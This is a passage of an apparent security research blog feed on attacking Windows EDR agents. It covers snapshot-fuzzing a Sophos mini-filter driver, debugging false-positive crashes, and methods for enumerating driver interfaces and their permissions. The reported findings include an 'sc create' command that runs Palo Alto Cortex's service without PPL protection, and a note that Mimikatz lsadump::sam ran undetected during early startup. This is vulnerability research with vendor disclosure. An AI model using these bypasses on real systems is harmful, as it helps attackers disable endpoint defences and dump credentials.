Saving output in .\\outputs\\crash-a271e8d13ac935afad342fa2146ffb70
Saving crash in .\\crashes\\crash-0xa-0x1e8ae6ee000-0xf-0x0-0xfffff80726a26cd9-0x0
Saving output in .\\outputs\\f93b14ce14eafe14c69eff38e546ae33
Saving output in .\\outputs\\crash-c40e54e406c3f2fa11033b815ff06c79
Saving crash in .\\crashes\\crash-0xa-0xffffb402d54c4410-0xf-0x1-0xfffff80726624d95-0x0
Saving crash in .\\crashes\\crash-0xa-0xffffb402d5be7a10-0xf-0x1-0xfffff80726624d95-0x0
[...]
#9013 cov: 14138 (+14138) corp: 61 (2.8kb) exec/s: 901.3 (1 nodes) lastcov: 1.0s crash: 641 timeout: 0 cr3: 0 uptime: 13.0s
[...]
#27735 cov: 15698 (+587) corp: 88 (4.0kb) exec/s: 924.5 (1 nodes) lastcov: 0.0s crash: 1508 timeout: 0 cr3: 0 uptime: 33.0s
[...]
#80583 cov: 17368 (+109) corp: 124 (5.7kb) exec/s: 1.0k (1 nodes) lastcov: 0.0s crash: 3895 timeout: 0 cr3: 0 uptime: 1.4min
[...]
#113654 cov: 17709 (+12) corp: 132 (6.1kb) exec/s: 1.0k (1 nodes) lastcov: 7.0s crash: 5284 timeout: 0 cr3: 0 uptime: 1.9min
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WTF Master output &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The coverage loaded in IDA with Lighthouse showed that at least all major functions were triggered from the fuzzer. Green means that the path was executed in the fuzzing process:
&lt;img src=&quot;./sophos_fuzz_lighthouse.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Fuzzing Coverage loaded in IDA Lighthouse &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is going on?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Crashes in seconds looks too good to be true. The fuzzer catched bugs by setting a breakpoint to &lt;em&gt;nt!KeBugCheckEx&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!g_Backend-&amp;gt;SetBreakpoint(&quot;nt!KeBugCheck2&quot;, [](Backend_t *Backend) {
      const uint64_t BCode = Backend-&amp;gt;GetArg(0);
      const uint64_t B0 = Backend-&amp;gt;GetArg(1);
      const uint64_t B1 = Backend-&amp;gt;GetArg(2);
      const uint64_t B2 = Backend-&amp;gt;GetArg(3);
      const uint64_t B3 = Backend-&amp;gt;GetArg(4);
      const uint64_t B4 = Backend-&amp;gt;GetArg(5);
      const std::string Filename =
          fmt::format(&quot;crash-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}&quot;, BCode, B0,
                      B1, B2, B3, B4);
      DebugPrint(&quot;KeBugCheck2: {}\n\n&quot;, Filename);
      Backend-&amp;gt;Stop(Crash_t(Filename));
    }))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some of the bugs were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0xc4: &quot;The DRIVER_VERIFIER_DETECTED_VIOLATION bug check has a value of 0x000000C4. This is the general bug check code for fatal errors found by Driver Verifier.&quot;&lt;/li&gt;
&lt;li&gt;0xa: &quot;The IRQL_NOT_LESS_OR_EQUAL bug check has a value of 0x0000000A. This bug check indicates that Microsoft Windows or a kernel-mode driver accessed paged memory at an invalid address while at a raised interrupt request level (IRQL). The cause is typically a bad pointer or a pageability problem.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All these bugs could not be reproduced in a live system. Looking at Tenet-Traces showed that some of the crashes happened in a call to &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; which indicates a false positive and consequently a problem in the virtualized system. Debugging issues like this is an important part when using snapshot fuzzing and additionally without emulated hardware like in WTF (e.g. paged out memory). KAFL in contrast has full hardware access.&lt;/p&gt;
&lt;p&gt;The setup that helped to understand the cause was to compare the code flow of the same input in a live system with a kernel debugger synced to IDA with a Tenet-Trace from the fuzzer.&lt;/p&gt;
&lt;p&gt;With a Tenet-trace loaded in IDA you have similar functions compared to time-travel debugging. You can scroll through the code flow and look at register values and memory content. There are several other helpful functions which are shown on the &lt;a href=&quot;https://github.com/gaasedelen/tenet&quot;&gt;tenet-repo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./tenet_sophos.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WTF Tenet-Trace loaded in IDA&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Additionally, &lt;a href=&quot;https://github.com/bootleg/ret-sync&quot;&gt;ret-sync&lt;/a&gt; can be used to sync WinDBG to IDA what allows to easily compare the snapshot execution to the live system.&lt;/p&gt;
&lt;p&gt;At the end, the problem was related to the IRQL-value stored in the snapshot of bdump (step 3 in the overview):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; r cr8
cr8=000000000000000f
kd&amp;gt; !irql
Debugger saved IRQL for processor 0x0 -- 0 (LOW_LEVEL)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinDBG in kernel breakpoint before the snapshot was taken&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The CPU register CR8 stores the current IRQL-value. However, if the system is interrupted with WinDBG kernel breakpoint, the CR8 register is changed to &lt;code&gt;0xf&lt;/code&gt;. The current IRQL as shown above, however, would be &lt;code&gt;0x0&lt;/code&gt;. Therefore, the snapshot stores CR8 value of the interrupted state instead of the actual IRQL-value. After fixing this value in the snapshot, the false positive crashes disappeared.&lt;/p&gt;
&lt;p&gt;The fuzzer was running for some days but did not identify any exploitable bug. The main issue of this fuzzing setup was that some functions expected memory pointers on certain positions in the input data. We did not use any structure aware mutation and consequently most of the input could not be parsed and the function exited early. The is no uniform structure and it would have been too time consuming to reverse it for different functions. Additionally, the data where the memory-pointers point at would have to be filled with mutated data or potentially pointers again. We used breakpoints in the fuzzing harness, to get an idea of memory access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if (!g_Backend-&amp;gt;SetBreakpoint(&quot;nt!ProbeForRead&quot;, [](Backend_t *Backend) {              
        DebugPrint(&quot;nt!ProbeForRead at {:x} with length {:x}&quot;, g_Backend-&amp;gt;Rcx(), g_Backend-&amp;gt;Rdx());  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; A breakpoint in WTF to get debug info for memory access during the fuzzing&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;We did not follow this further, but it could be potentially automated by catching &lt;code&gt;nt!ProbeForWrite&lt;/code&gt; and &lt;code&gt;nt!ProbeForRead&lt;/code&gt; in order to provide feedback to the fuzzer that these values should be valid pointers. All in all, improving the fuzzer and the harness would have been too time consuming and a code analysis is potentially more efficient.&lt;/p&gt;
&lt;h1&gt;4. Other Vulnerabilities&lt;/h1&gt;
&lt;p&gt;During the research, some other vulnerabilities have been identified. The following is a short summary of them:&lt;/p&gt;
&lt;h3&gt;Early Startup of Malware&lt;/h3&gt;
&lt;p&gt;Malware can be started before the user-mode component of the EDR is fully started. This was tested with Cortex and it was possible to execute Mimikatz with lsadump::sam without being blocked. This was reported in combination with the ALPC vulnerability. The vendor did not respond to this issue. Other EDRs are potentially affected, too.&lt;/p&gt;
&lt;h3&gt;Launching CyServer (PaloAlto Cortex) without PPL&lt;/h3&gt;
&lt;p&gt;If a new (second) service which launches Cyserver is created, the original service (which has startup dependencies) does no longer start. The new service configuration is not protected by the Cortex drivers and therefore the configuration can be adjusted. If name begins with &quot;cyserver*&quot; it is blocked.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sc create &quot;fake_cyserver&quot; binPath=&quot;C:\Program Files\Palo Alto Networks\Traps\cyserver.exe&quot; start=auto&lt;/code&gt;
&lt;img src=&quot;vuln_cortex_ppl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cortex itself thinks that cyserver is stopped because the own service is stopped. However, the EDR still works. The cyserver.exe still has some self-protections in place but the attack surface is a larger compared to a PPL process.&lt;/p&gt;
&lt;p&gt;This bypass was reported to PaloAlto on 12.09.2023. PaloAlto did not provide further information on this. It is unknown if a fix is implemented or planned.&lt;/p&gt;
&lt;p&gt;This post continues with &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; which describes the ALPC DoS vulnerability and some final notes.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Attacking EDRs Part 1: Intro &amp; Security Analysis of EDR Drivers</title><link>https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/</guid><description>This article gives an overview of the attack surface of EDR software and describes the process to search for attack surface on EDR drivers from a low-privileged user.</description><pubDate>Mon, 10 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; (&lt;strong&gt;this article&lt;/strong&gt;) gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Introduction&lt;/h1&gt;
&lt;p&gt;In today&apos;s organizations, Endpoint Detection and Response (EDR) solutions have become an essential part of the cybersecurity landscape. Despite their prevalence, there remains a notable lack of published research focusing on attacks against EDR applications themselves, even though they present compelling targets for privilege escalation, corporate network compromise, or drive-by attacks. This could have several reasons: limited security research in this specific area, unpublished research held back for red-teaming advantages, or a lack of fruitful findings. Futhermore, there are only a few vendors which have a Bug Bounty program and if they have one, the Windows agents are not in scope (except Kaspersky).&lt;br /&gt;
In recent years, most security research about EDRs focused on techniques to bypass the security measures such as DLL unhooking.
Recognizing this gap, a research project of IG Labs aimed to analyze the attack surface of drivers for widely-used EDRs on Windows. However, after starting the work and before publication of this post, some research into directly attacking EDRs has emerged (&lt;a href=&quot;https://www.srlabs.de/blog-post/edrs-decrease-your-enterprise-security-unless-properly-hardened&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://medium.com/falconforce/debugging-the-undebuggable-and-finding-a-cve-in-microsoft-defender-for-endpoint-ce36f50bb31&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://riccardoancarani.github.io/2023-08-03-attacking-an-edr-part-1/&quot;&gt;3&lt;/a&gt;, &lt;a href=&quot;https://riccardoancarani.github.io/2023-09-14-attacking-an-edr-part-2/&quot;&gt;4&lt;/a&gt;, &lt;a href=&quot;https://riccardoancarani.github.io/2023-11-07-attacking-an-edr-part-3/&quot;&gt;5&lt;/a&gt;, ...).&lt;/p&gt;
&lt;p&gt;Due to the extensive attack surface of EDRs, we decided to limit the scope of our investigation to driver-interfaces accessible by a low privileged user as an entry point.&lt;br /&gt;
EDRs typically incorporate self-protection mechanisms that prevent even local administrators from disabling or uninstalling the product. However, the transition from local administrator to SYSTEM to kernel in Windows, while restricted by security features, does not represent an absolute security boundary. Known methods exist to deactivate or bypass EDRs, including bring-your-own-vulnerable-driver (BYOVD) attacks, Windows Defender Application Control (WDAC), WPF filtering, and other techniques. Consequently, this research focused on low-privileged users, even though attacks from a local administrator can also be valuable.&lt;/p&gt;
&lt;p&gt;Additionally, the focus is directed towards the most used EDRs in the market.&lt;br /&gt;
However, obtaining access to these EDR solutions for research purposes is challenging. Only a very limited number of vendors offer trial products without prior vetting, further narrowing the range of EDRs that can be analyzed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./crowdstrike_trial.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Typical &quot;trial&quot; (which you will never get without having the right business) &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Although several EDR drivers permit low-privileged users to access certain functions, it was not possible to detect any serious security issues. Nevertheless, the blog post describes the analysis process including research paths that yielded no findings to help other security researchers. However, after some time a path led to the ALPC communication in PaloAlto Cortex which was not the initial focus. This revealed a DoS vulnerability that is described in &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The following products were initially examined for the driver analysis:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo Alto Cortex XDR&lt;/li&gt;
&lt;li&gt;Sophos Intercept X&lt;/li&gt;
&lt;li&gt;Microsoft Defender for Endpoint&lt;/li&gt;
&lt;li&gt;Cynet 360&lt;/li&gt;
&lt;li&gt;Tanium (not really an EDR but the functionality and architecture is similar)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1.1 Attack Surface of EDR solutions&lt;/h2&gt;
&lt;p&gt;EDR solutions have a comparably large attack surface for applications. These solutions typically consist of multiple components on the agents themselves and cloud services, while some vendors also offer on-premise servers. EDRs are designed to detect and respond to threats at the endpoint level, but they also inherently create a new attack surface that can be exploited by malicious actors. The agents are a complex part and consequently more prone to vulnerabilities. The frontend of the servers-side part, in contrast has a smaller and usually more explored attack surface (at least the part which is directly accessible by a user such as the web interfaces). Even backend web APIs have basic flaws such as missing authentication as shown &lt;a href=&quot;https://medium.com/falconforce/debugging-the-undebuggable-and-finding-a-cve-in-microsoft-defender-for-endpoint-ce36f50bb31&quot;&gt;here&lt;/a&gt;. Some products also use a &lt;a href=&quot;https://github.com/tux3/crowdstrike-cloudproto&quot;&gt;custom protocol&lt;/a&gt; for the agent-to-cloud communication which could be interesting, too. Furthermore, certain products also implement P2P-communication among the agents (e.g. Tanium) which are interesting from an attacker point of perspective.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;These blog posts focuses solely on the agent side.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Agents typically consist of user-space and kernel-space (driver) components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Filter Driver&lt;/li&gt;
&lt;li&gt;Network Drivers&lt;/li&gt;
&lt;li&gt;Software Driver&lt;/li&gt;
&lt;li&gt;Userland Applications&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These components primarily communicate with each other using the following protocols and methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel-to-Kernel:
&lt;ul&gt;
&lt;li&gt;Exported functions&lt;/li&gt;
&lt;li&gt;IOCTLs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;User-to-Kernel:
&lt;ul&gt;
&lt;li&gt;IOCTLs&lt;/li&gt;
&lt;li&gt;FilterConnectionPorts
&lt;ul&gt;
&lt;li&gt;specifically used by minifilter drivers&lt;/li&gt;
&lt;li&gt;uses IOCTLs under the hood as well&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ALPC&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;User-to-User
&lt;ul&gt;
&lt;li&gt;ALPC&lt;/li&gt;
&lt;li&gt;Named Pipes&lt;/li&gt;
&lt;li&gt;Files&lt;/li&gt;
&lt;li&gt;Registry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/ipc/interprocess-communications&quot;&gt;more...&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following list outlines potential vulnerabilities within these components and their communication. Note that this list is not exhaustive and excludes all server-side attack surface:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Memory corruptions in file scanning &amp;amp; emulation (In-the-wild 0day &lt;a href=&quot;https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1647.html&quot;&gt;CVE-2021-1647&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Deletion of arbitrary files (SymLink-Vulns)
&lt;ul&gt;
&lt;li&gt;Plenty of vulnerabilities in the past: &lt;a href=&quot;https://www.blackhat.com/eu-22/briefings/schedule/index.html?#aikido-turning-edrs-to-malicious-wipers-using--day-exploits-29336&quot;&gt;Deleting files &quot;wiper&quot;&lt;/a&gt; (50% of tested EDRs vulnerable)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;User-Mode IPC (Interprocess communications): Authorization issues or memory corruptions&lt;/li&gt;
&lt;li&gt;User-to-driver: Authorization issues&lt;/li&gt;
&lt;li&gt;Classic driver vulnerabilities:
&lt;ul&gt;
&lt;li&gt;WDM: &lt;a href=&quot;%22https://www.youtube.com/watch?v=qk-OI8Z-1To&amp;amp;ab_channel=media.ccc.de%22&quot;&gt;Ilja van Sprundel: Windows drivers attack surface&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;KMDF: &lt;a href=&quot;https://www.youtube.com/watch?v=puNkbSTQtXY&amp;amp;ab_channel=44CONInformationSecurityConference&quot;&gt;Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim at 44CON 2018&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mini-Filter: &lt;a href=&quot;https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html&quot;&gt;Google Project Zero: Hunting for Bugs in Windows Mini-Filter Drivers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Server-to-Agent
&lt;ul&gt;
&lt;li&gt;Missing authentication of server&lt;/li&gt;
&lt;li&gt;Parsing bugs in server responses&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Classic Windows Application Vulnerabilities (DLL Hijacking, File permissions, ...)&lt;/li&gt;
&lt;li&gt;Emulation/Sandbox Escapes&lt;/li&gt;
&lt;li&gt;Other Logic Bugs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This article focuses on user-to-driver authorization issues and, to some extent, classic driver vulnerabilities. Part 3 addresses user-mode IPC.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;The main impact of potential vulnerabilities on the client side is Local Privilege Escalation or hiding the execution of malicious software. Another possibility is spoofing data about the agent sent to the backend. Some vulnerabilities, such as in the scanning engine could also lead to Remote Code Execution.
Additionally, a compromised agent also leads to a larger attack surface for the backend, as the attacker can abuse the authenticated session of the agent.&lt;br /&gt;
In case of P2P-based communication, serious design flaws could lead to the compromise of other agents.&lt;/p&gt;
&lt;h1&gt;2. Driver Attack Surface for Low-Priviledged Users&lt;/h1&gt;
&lt;p&gt;This section provides a basic overview of how to conduct a security analysis of EDR drivers. It primarily focuses on identifying exposed driver functionalities that could constitute an attack surface for low-privileged users. It does not delve into the specifics of driver-related vulnerabilities or their exploitation.&lt;/p&gt;
&lt;p&gt;For a testing environment we recommend using a virtual machine with a WinDBG Kernel Debugger attached. The easiest way to set it up is KDNET (see the following &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection-automatically&quot;&gt;documentation&lt;/a&gt;).&lt;/p&gt;
&lt;h2&gt;2.1 Which drivers are loaded?&lt;/h2&gt;
&lt;p&gt;One method for viewing loaded drivers is using  &lt;a href=&quot;https://www.nirsoft.net/utils/driverview.html&quot;&gt;DriverView&lt;/a&gt; which is further aided by the fact that there is a feature to filter drivers from Microsoft.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driverview.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; DriverView with Cortex installed &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;2.2 What interface does each driver expose to user-land?&lt;/h2&gt;
&lt;p&gt;There are two approaches to check this: static analysis and dynamic analysis. We suggest to use both methods in combination to catch all cases. For example, an EDR driver may only initialize one device object during startup but might be creating more device objects during the course of the EDRs execution.&lt;/p&gt;
&lt;p&gt;Windows Driver Model (WDM) or Kernel-Mode Driver Framework (KMDF) drivers can expose a device interface. This interface can be opened from user space to interact with the driver.&lt;/p&gt;
&lt;p&gt;Mini-Filter Drivers can expose a FilterCommunicationPort which can be used from user-mode to interact with the driver.&lt;/p&gt;
&lt;h3&gt;2.2.1 Static Analysis&lt;/h3&gt;
&lt;p&gt;To establish a communication interface, a driver must invoke specific Windows APIs. These calls can be statically analyzed using reverse engineering software such as IDA.  The following functions, as specified in Microsoft&apos;s documentation, are commonly used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;WDM Device Driver:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS IoCreateDevice(
  [in]           PDRIVER_OBJECT  DriverObject,
  [in]           ULONG           DeviceExtensionSize,
  [in, optional] PUNICODE_STRING DeviceName,
  [in]           DEVICE_TYPE     DeviceType,
  [in]           ULONG           DeviceCharacteristics,
  [in]           BOOLEAN         Exclusive,
  [out]          PDEVICE_OBJECT  *DeviceObject
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, IoCreateDeviceSecure can be used which applies a default SDDL String.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;KMDF Device Driver:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS WdfDeviceCreateDeviceInterface(
  [in]           WDFDEVICE        Device,
  [in]           const GUID       *InterfaceClassGUID,
  [in, optional] PCUNICODE_STRING ReferenceString
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mini-Filter Driver:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS FLTAPI FltCreateCommunicationPort(
  [in]           PFLT_FILTER            Filter,
  [out]          PFLT_PORT              *ServerPort,
  [in]           POBJECT_ATTRIBUTES     ObjectAttributes,
  [in, optional] PVOID                  ServerPortCookie,
  [in]           PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  [in]           PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
  [in, optional] PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  [in]           LONG                   MaxConnections
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2.2 Dynamic Analysis&lt;/h3&gt;
&lt;p&gt;Registered devices and port names can be identified using WinObj from Sysinternals (although the names are not always obvious) or by setting breakpoints in a kernel debugger.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Device Driver&lt;/strong&gt;: They are listed in WinObj under &quot;GLOBAL??&quot; as Symbolic Link pointing towards the device object. This makes the device available through &lt;code&gt;\\.\NAME&lt;/code&gt; when trying to interact with the driver from another application. Another option is to use the discontinued tool DeviceTree from OSR which shows the devices in a hierachy for each driver and addtional information.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./winobj_devicedriver.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinObj with Cortex Devices &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_device_tree_cortex.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; &lt;em&gt;DeviceTree with Cortex Devices&lt;/em&gt; &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mini-Filter Driver&lt;/strong&gt;: They are listed in WinObj named &quot;FilterConnectionPort&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cortex_filterconnectionports.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; FilterConnectionPorts in WinObj (Cortex) &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;2.3 What are the access permissions of each interface?&lt;/h2&gt;
&lt;p&gt;This step is more easily accomplished dynamically.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Device Driver:&lt;/strong&gt; To our knowledge there is no modern tool to view the correct access permissions of a device interface. Try to get a copy of OSR DeviceTree which directly shows the ACLs and other flags. An alternative is to use a Kernel Debugger.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./device_tree_permissionscoretex.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mini-Filter Driver:&lt;/strong&gt; One way to test if a certain user can access a FilterConnectionPort is to use the &lt;a href=&quot;https://www.powershellgallery.com/packages/NtObjectManager/1.1.29&quot;&gt;NtObjectManager&lt;/a&gt; tooling from James Forshaw.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-FilterConnectionPort -Path &quot;\CyvrFsfd&quot;
Exception: &quot;(0x80070005) - Access is denied.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To retrieve the security descriptor, use WinDbg as a kernel debugger:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !object \CyvrFsfd
Object: ffffc2861e32f550  Type: (ffffc2861bc7b220) FilterConnectionPort
    ObjectHeader: ffffc2861e32f520 (new version)
    HandleCount: 1  PointerCount: 6
    Directory Object: ffffd9099503e9f0  Name: CyvrFsfd
0: kd&amp;gt; dx (((nt!_OBJECT_HEADER*)0xffffc2861e32f520)-&amp;gt;SecurityDescriptor &amp;amp; ~0xa)
(((nt!_OBJECT_HEADER*)0xffffc2861e32f520)-&amp;gt;SecurityDescriptor &amp;amp; ~0xa) :
0xffffd909950257a0
0: kd&amp;gt; !sd 0xffffd909950257a0 1
-&amp;gt;Revision: 0x1
-&amp;gt;Sbz1    : 0x0
-&amp;gt;Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
-&amp;gt;Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
-&amp;gt;Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
-&amp;gt;Dacl    :
-&amp;gt;Dacl    : -&amp;gt;AclRevision: 0x2
-&amp;gt;Dacl    : -&amp;gt;Sbz1       : 0x0
-&amp;gt;Dacl    : -&amp;gt;AclSize    : 0x1c
-&amp;gt;Dacl    : -&amp;gt;AceCount   : 0x1
-&amp;gt;Dacl    : -&amp;gt;Sbz2       : 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;Mask : 0x001f0001
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

-&amp;gt;Sacl    :  is NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This port only allows access from &lt;em&gt;NT AUTHORITY\SYSTEM&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;2.4 What can you do if an interface is accessible?&lt;/h2&gt;
&lt;p&gt;First of all, if the Windows ACLs allow access to the device interface or FilterConnectionPort, that doesn&apos;t mean that you can actually access all the functionality offered by these interfaces. The driver itself can perform any arbitrary access checks such as verifying the security token of the calling process or checking the file path of the process.&lt;/p&gt;
&lt;p&gt;This topic usually requires to reverse engineer a driver&apos;s interesting functions and figuring out what they do in the absence of function names in the driver. In the following segment, we give some advice on how to start.&lt;/p&gt;
&lt;h3&gt;2.4.1 Device Driver&lt;/h3&gt;
